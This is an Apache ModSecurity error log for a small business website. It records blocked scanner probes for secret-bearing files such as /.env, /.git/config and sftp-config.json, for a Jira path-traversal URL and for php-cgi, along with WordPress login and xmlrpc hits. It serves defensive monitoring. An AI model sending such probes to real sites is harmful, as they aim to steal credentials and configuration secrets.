[Fri Jan 23 14:56:10.010543 2026] [:error] [pid 64230:tid 64241] [client 212.227.175.43:56442] [client 212.227.175.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/userfuns.php"] [unique_id "aXMbiq2JXmVjD91caKJ6mAAAAUg"], referer: www.google.com
[Fri Jan 23 18:42:44.513646 2026] [:error] [pid 11732:tid 11734] [client 117.62.235.53:38798] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXNQpOfd54xxq04JKuNkEQAAAMA"]
[Fri Jan 23 19:04:12.696951 2026] [:error] [pid 1517:tid 1533] [client 43.166.251.233:51840] [client 43.166.251.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXNVrCZNw8-8ydKHCJtiqgAAAc0"]
[Fri Jan 23 20:09:11.455813 2026] [:error] [pid 62368:tid 62390] [client 43.173.1.69:51026] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXNk5yeMzKRnyYLMANOLxAAAARM"]
[Fri Jan 23 21:37:40.283310 2026] [:error] [pid 11732:tid 11736] [client 196.177.114.215:56384] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXN5pOfd54xxq04JKuOP1QAAAMI"]
[Fri Jan 23 21:37:40.284423 2026] [:error] [pid 64230:tid 64235] [client 196.177.114.215:56385] [client 196.177.114.215] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aXN5pK2JXmVjD91caKLM6wAAAUI"]
[Sat Jan 24 03:05:04.824128 2026] [:error] [pid 64912:tid 64936] [client 98.159.37.65:30319] [client 98.159.37.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 98.159.37.65, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aXPGYLem6jVGKqodwtJAZQAAAZY"]
[Sat Jan 24 03:10:10.675448 2026] [:error] [pid 37890:tid 37952] [client 49.51.183.75:54512] [client 49.51.183.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXPHkpXMjWKnTFOaByFXYwAAAAI"]
[Sat Jan 24 07:13:03.331242 2026] [:error] [pid 41009:tid 41034] [client 182.44.10.67:53746] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXQAf2rewfoFUDD3TM2OOwAAANc"]
[Sat Jan 24 11:47:04.978918 2026] [:error] [pid 41009:tid 41021] [client 43.135.183.82:45868] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXRAuGrewfoFUDD3TM37QwAAAMo"]
[Sat Jan 24 21:54:44.930820 2026] [:error] [pid 40903:tid 40940] [client 185.93.89.110:50040] [client 185.93.89.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aXTPJBxw3xvyqXTcGl-4RgAAAEE"]
[Sun Jan 25 00:57:04.815783 2026] [:error] [pid 60761:tid 60782] [client 64.89.163.25:58479] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXT54FZQvxLvEbXXh9KgMQAAAVI"]
[Sun Jan 25 00:57:05.461000 2026] [:error] [pid 14976:tid 15001] [client 64.89.163.25:58692] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXT54WvdigydYOB2KS-kNwAAAZc"]
[Sun Jan 25 00:57:06.102788 2026] [:error] [pid 22900:tid 22919] [client 64.89.163.25:58944] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXT54lr6h1PpdlYV7gUxhQAAARA"]
[Sun Jan 25 00:57:06.734691 2026] [:error] [pid 40902:tid 40932] [client 64.89.163.25:59158] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXT54gSCceZpurDgOesevgAAABQ"]
[Sun Jan 25 00:57:07.378767 2026] [:error] [pid 14976:tid 14979] [client 64.89.163.25:59415] [client 64.89.163.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXT542vdigydYOB2KS-kZQAAAYE"]
[Sun Jan 25 02:15:19.068311 2026] [:error] [pid 40902:tid 40915] [client 36.41.75.167:53938] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXUMNwSCceZpurDgOesutQAAAAM"]
[Sun Jan 25 08:17:31.131679 2026] [:error] [pid 33687:tid 33705] [client 117.62.235.53:57297] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXVhG4c6VUyZP5DZSy7dzwAAAQ8"]
[Sun Jan 25 10:38:29.559988 2026] [:error] [pid 53421:tid 53502] [client 103.77.106.81:49159] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aXWCJZKP_6Rogdk6hdEL3QAAAJM"]
[Sun Jan 25 10:38:29.934047 2026] [:error] [pid 53420:tid 53462] [client 103.77.106.81:49371] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aXWCJY5y-t2ZKNqnnbXCxwAAAEY"]
[Sun Jan 25 22:24:18.857149 2026] [:error] [pid 53419:tid 53438] [client 43.156.232.190:41910] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXYnkiNxBUypy_ALgwMfjwAAAAo"]
[Sun Jan 25 23:38:32.471138 2026] [:error] [pid 53420:tid 53464] [client 170.106.65.93:52878] [client 170.106.65.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXY4-I5y-t2ZKNqnnbV4wAAAAEg"]
[Mon Jan 26 00:24:35.988905 2026] [rewrite:error] [pid 48919:tid 48966] [client 104.164.173.146:51400] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Jan 26 01:02:23.354865 2026] [rewrite:error] [pid 48919:tid 48957] [client 103.4.250.105:10514] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Jan 26 03:14:16.375101 2026] [:error] [pid 48919:tid 48956] [client 101.91.148.219:39068] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXZriDVs1aLFg9jpyYrJvAAAAME"]
[Mon Jan 26 04:30:16.419366 2026] [:error] [pid 24557:tid 24603] [client 159.203.3.128:65389] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXZ9WOrlG7Vm9pxV14xHZgAAAEk"]
[Mon Jan 26 04:30:16.854925 2026] [:error] [pid 24558:tid 24627] [client 159.203.3.128:49186] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXZ9WAo1PXqeJqIMTQbsagAAAIY"]
[Mon Jan 26 04:30:17.292004 2026] [:error] [pid 61252:tid 61267] [client 159.203.3.128:49415] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aXZ9WbrGlf8FG2etxUCq2wAAAQ0"]
[Mon Jan 26 09:11:32.254887 2026] [:error] [pid 24556:tid 24571] [client 114.96.103.33:43280] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXa_REyDW1_EbgDa3XKEbQAAAAY"]
[Mon Jan 26 10:52:06.949519 2026] [:error] [pid 61252:tid 61276] [client 43.153.123.4:47772] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXbW1rrGlf8FG2etxUAPBgAAARY"]
[Mon Jan 26 12:19:22.044593 2026] [:error] [pid 61286:tid 61296] [client 143.110.254.108:62869] [client 143.110.254.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.254.108, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXbrSsnVt687wYGMPn_LJwAAAUY"]
[Mon Jan 26 12:19:22.937854 2026] [:error] [pid 61252:tid 61274] [client 143.110.254.108:62973] [client 143.110.254.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.254.108, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXbrSrrGlf8FG2etxUAoTgAAARQ"]
[Mon Jan 26 19:54:13.884356 2026] [rewrite:error] [pid 61252:tid 61254] [client 103.4.251.179:13168] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Jan 26 20:45:32.295365 2026] [rewrite:error] [pid 61287:tid 61332] [client 103.4.250.231:59726] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Jan 26 23:06:36.012760 2026] [:error] [pid 24556:tid 24570] [client 144.172.117.131:43118] [client 144.172.117.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXeC_EyDW1_EbgDa3XKECAAAAAU"]
[Mon Jan 26 23:14:12.878830 2026] [:error] [pid 61252:tid 61254] [client 45.133.5.94:32111] [client 45.133.5.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.94, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXeExLrGlf8FG2etxUCzkwAAAQA"]
[Mon Jan 26 23:27:30.373694 2026] [:error] [pid 24666:tid 24678] [client 43.155.195.141:55162] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXeH4pmH-L0_jbK3i9Ht2AAAAMo"]
[Tue Jan 27 00:52:33.820214 2026] [authz_core:error] [pid 44849:tid 44858] [client 206.81.12.187:48298] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/server-status
[Tue Jan 27 00:52:34.823155 2026] [authz_core:error] [pid 57173:tid 57254] [client 68.183.180.73:46588] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/server-status
[Tue Jan 27 00:52:40.502194 2026] [:error] [pid 44587:tid 44809] [client 206.81.12.187:48346] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXeb2IsXadca93KAT8ToqgAAANE"]
[Tue Jan 27 00:52:42.356649 2026] [:error] [pid 44587:tid 44812] [client 68.183.180.73:60642] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXeb2osXadca93KAT8TorgAAANQ"]
[Tue Jan 27 00:52:43.689633 2026] [:error] [pid 44586:tid 44782] [client 206.81.12.187:44094] [client 206.81.12.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXeb26ZDnq-dPBqM5LiUvwAAAJI"]
[Tue Jan 27 00:52:44.935446 2026] [:error] [pid 18632:tid 18653] [client 68.183.180.73:60658] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aXeb3KU_e_bi-Bnkkm76sQAAAFI"]
[Tue Jan 27 00:52:47.381972 2026] [:error] [pid 44586:tid 44783] [client 206.81.12.187:44118] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/gql"] [unique_id "aXeb36ZDnq-dPBqM5LiUxAAAAJM"]
[Tue Jan 27 00:52:48.088092 2026] [:error] [pid 44849:tid 44863] [client 206.81.12.187:44134] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXeb4BvM0vcShMgZVmTvFgAAAUw"]
[Tue Jan 27 00:52:48.534252 2026] [:error] [pid 44587:tid 44797] [client 68.183.180.73:35944] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api/gql"] [unique_id "aXeb4IsXadca93KAT8TovQAAAMU"]
[Tue Jan 27 00:52:49.020816 2026] [:error] [pid 44586:tid 44766] [client 206.81.12.187:44146] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aXeb4aZDnq-dPBqM5LiUyAAAAII"]
[Tue Jan 27 00:52:49.052707 2026] [:error] [pid 44849:tid 44867] [client 68.183.180.73:35952] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXeb4RvM0vcShMgZVmTvFwAAAVA"]
[Tue Jan 27 00:52:50.079089 2026] [:error] [pid 57173:tid 57257] [client 206.81.12.187:44154] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aXeb4k4W-bz8q8pfNmgWKgAAABg"]
[Tue Jan 27 00:52:50.203664 2026] [:error] [pid 44849:tid 44852] [client 68.183.180.73:35966] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aXeb4hvM0vcShMgZVmTvGgAAAUE"]
[Tue Jan 27 00:52:51.116884 2026] [:error] [pid 18632:tid 18654] [client 68.183.180.73:35968] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.json"] [unique_id "aXeb46U_e_bi-Bnkkm76tgAAAFM"]
[Tue Jan 27 00:52:51.145714 2026] [:error] [pid 44587:tid 44796] [client 206.81.12.187:40920] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/telescope/requests"] [unique_id "aXeb44sXadca93KAT8TovwAAAMQ"]
[Tue Jan 27 00:52:52.134900 2026] [:error] [pid 44849:tid 44868] [client 206.81.12.187:40924] [client 206.81.12.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aXeb5BvM0vcShMgZVmTvGwAAAVE"]
[Tue Jan 27 00:52:52.179954 2026] [:error] [pid 44849:tid 44875] [client 68.183.180.73:35970] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/telescope/requests"] [unique_id "aXeb5BvM0vcShMgZVmTvHAAAAVg"]
